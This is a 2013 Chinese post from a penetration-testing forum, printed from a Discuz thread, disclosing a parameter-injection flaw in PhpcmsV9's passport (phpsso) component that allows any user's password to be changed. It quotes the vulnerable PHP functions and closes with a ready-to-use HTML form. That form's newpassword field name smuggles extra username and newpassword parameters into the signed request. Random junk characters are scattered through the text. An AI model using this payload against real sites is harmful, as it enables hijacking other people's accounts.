中国网络渗透测试联盟

标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发 [打印本页]

作者: admin    时间: 2013-2-23 14:46
标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:" J9 t1 u* i& L  f8 u& ^+ e7 j

* y1 M6 F1 j! o& L8 ^% D$ W6 n  H+ R9 z$ C2 n& r
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);) M; g, B$ U! ?$ ]" s

. E1 U8 _1 W1 s6 p: U% [在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。# ?2 R1 @9 u  S, c

4 B  h* e3 L# Q9 C1 I+ Q我把它留给了你们。
& o0 {8 T5 S! u/ E" Y5 @+ V  _不知道你们发现了它没有。
3 p. o! Q5 r% d9 Y. @6 {, c# e# ~# u+ J2 I* a. J( \9 ~7 \
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
& _# a* }1 U- i( f/ f
, _5 U9 w7 d! Z4 T所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
$ J' b$ m$ W& [) s" }$ v* b7 o& s8 D
也就是4 p3 v, ]  Q# O' S; r7 m3 L9 C: C( V

) _0 A; Y& x5 Ousername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
& _' }- ?7 [4 D
* C+ U! g- Q$ B# j3 i% J要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
+ V% z: [, F, L7 x, ?) ]! ~) o5 w  s
6 N  B: G  V, ?/ M/ l' W
其实我们有这样的机会,看看代码,如下:
2 D' M# p& c3 m3 x2 Z4 h
2 h8 }' R6 a' M" c7 o9 D+ S1 \6 F( l% |; Z
public function auth_data($data) {1 T) |# t/ ?' r  H7 o  ^) Z
                $s = $sep = '';
  l9 R& Q6 k  H" n/ |1 d1 p& _                foreach($data as $k => $v) {
. v% C# q+ |' }3 ~" D1 I                        if(is_array($v)) {2 h, z  }% ~9 z) u/ W1 s
                                $s2 = $sep2 = '';
/ E( E. {, t& e1 l+ q                                foreach($v as $k2 => $v2) {
* t) I9 d% w: L* n                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
$ W# u  [# R7 B- X& e                                        $sep2 = '&';. H6 {# f- V# |* P4 G" t
                                }  E$ _9 G! o9 Z7 s8 N
                                $s .= $sep.$s2;' @" x8 Z) p+ j' S3 C+ ]
                        } else {; [, y* |- W! G+ z3 Y
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);7 g9 v* w: Y/ v: J
                        }5 j$ }) s0 D$ H' I7 x
                        $sep = '&';% H5 _5 _% _9 E% T# u) P; N
                }2 t# O! ~4 ]8 c1 Z4 {3 s
/ l+ Y5 O1 ]) v; r) H
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
! r. [* [8 B" {! j# |  F% y3 L                return $auth_s;
* y3 N: p0 M. T! ~9 v' G. e# C; a) H        }6 I1 }8 I& b0 u; B$ z
! [4 G0 T3 [  z5 f$ e
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
2 ]3 j5 ~& l" [) b& n) H
" I# V0 f7 k- u2 G: m8 f3 N举个例子( t2 Z) _9 S# \3 {
3 x% S7 c& }4 Z1 s" X0 x
$a[aaa=a&bbb] = 'a';
5 ]7 _% A+ |' l& Y0 n+ O7 s- b6 W' a% V9 L' d
会变成aaa=a&bbb=a6 C# W% L: R7 t7 j& R& x( m
( ?% p$ Q$ m3 i; J0 ~9 S' |2 \, d
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。! j6 f( F) w) a. d4 V% H% a* S( U( |% @

0 B# H# \! e+ Y7 Q" U) M" r$ K! O这个时候,我们可以再去看一个函数。6 `" {7 V8 x8 u6 d8 q4 ]$ F
/ I- F5 r3 {% Z/ X: f  U
就在这个文件内:
" Y+ P) G7 w  s5 y# ~
2 C3 b  @! B0 ?3 e" f# p
8 L+ P1 X: P# b9 \8 p/ n* U# x0 Cpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {( }. o5 w; V, @! ^
                if($email && !$this->_is_email($email)) {
3 n& Y( |$ v; Q# M                        return -4;  f8 g" m* h4 k
                }
2 t1 G6 v2 D- n7 q                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
" k( ^" k$ @& M1 D2 L% H; F2 t8 e        }+ A- Q" O6 ^. J9 J' n

3 ?6 W5 z/ \9 @) E7 n. ?这是向通行证发了这样一个请求。9 z& G% g8 S: z9 n2 v! |1 {

* f+ }0 \6 W; L( @" f我们再跟到通信证代码里去看看,就会有所发现。' ?4 q9 q1 h; M8 ]) _) I6 k
8 }2 `/ V4 z* O/ N" ^- L0 i
. f) C. ^6 Q; ~! @8 p; V  E9 U" \' v
public function edit() {
" B, I# [$ ?  n% c* C$ m//能省就省,太长了不是吗?  d) X* R# \. l( Y7 @! l* j
1 A0 D: J5 ]) y+ z
if($this->username) {1 t( K2 V- Y( m+ m/ @1 W6 [
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。" h/ C) w+ Q7 x3 l
                                $res = $this->db->update($data, array('username'=>$this->username));
- }1 u' v* M+ G1 O' n$ F                        } else {
' U. n! E4 E# ^: \2 H7 e, Q  ?                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);3 ^. r1 K( e5 M) c: Z. b$ w; z
                                $res = $this->db->update($data, array('uid'=>$this->uid));' m( W% N5 I& E- T, ~1 `
                        }) ~* ~) E( R6 }% d# M" Y6 _$ U
* H* N+ q% P- ?4 g' t' [# d
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:6 z$ b/ p3 Q4 y6 @* n

/ F  P* V: p" ^" r# y- rpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')" ?* Z" t6 v9 n) b+ ^" C6 i# r. T

0 g" N4 q3 `4 f) F" n8 @很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。6 j2 C/ e$ }, L$ W, j4 {. `

% h/ q, f& Q6 Y- J$ C; f我当然找到了:
* l1 b: A8 n& y7 G" z: Fphpcms9/phpcms/modules/member/index.php+ U/ k) _; Y! g* g- u$ P$ Q  t& @+ y

2 Y+ _1 R0 N4 X. T$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
  Z" L9 I! s7 O; ^. t3 `
9 b% v, ~& C  P0 V  |' i/ }! U8 X然后就没有然后了。3 l7 w. M- h3 B7 N, i( o( }
; y0 P9 f2 y( o) J
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">: F) I$ z" z/ B
                                <table width="100%" cellspacing="0" class="table_form">8 o% B2 ]) k( A: Y2 ~
                                        <tr>: }& `5 H; _8 e$ [% E
                                                <th width="80">邮箱:</th>        
* a8 {% V' q$ j; M6 S& d  I; x                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
5 b- t1 d5 j8 R% |8 F                                        </tr>
* O# H; h! m; H% G! Q! w                                        <tr>4 b% _/ a2 U, }' Z6 F* r7 S
                                                <th width="80">原密码:</th>        
  W8 r  f/ ?' _                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>6 g) r+ S, K- N; d6 l
                                        </tr>/ h" c% V8 T  Q( E8 x; ^7 R
                                        <tr>
+ ^* |2 S5 e) v( S' ]7 y                                                <th>新密码:</th>
6 H1 C  I+ W# T' w' t, F                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
* s) d) g. p! x3 v                                        </tr>1 W, i# ~. q: [) U8 b& |7 A- x, x
                                        <th></th>+ ?& I; ]6 z0 b& e' X  K
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
$ x/ b, ~# A1 H  @                                        </tr># R" \8 f) `$ e" _% V2 l4 e
                                </table>
) i" J6 B$ t3 F' Z3 o9 \; x. ~
6 i( u* Z: P9 A+ _                                # g8 H" e8 v( E1 Q( Z' E
                        </form>- J) X* r# Q& ~' U8 O3 A





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2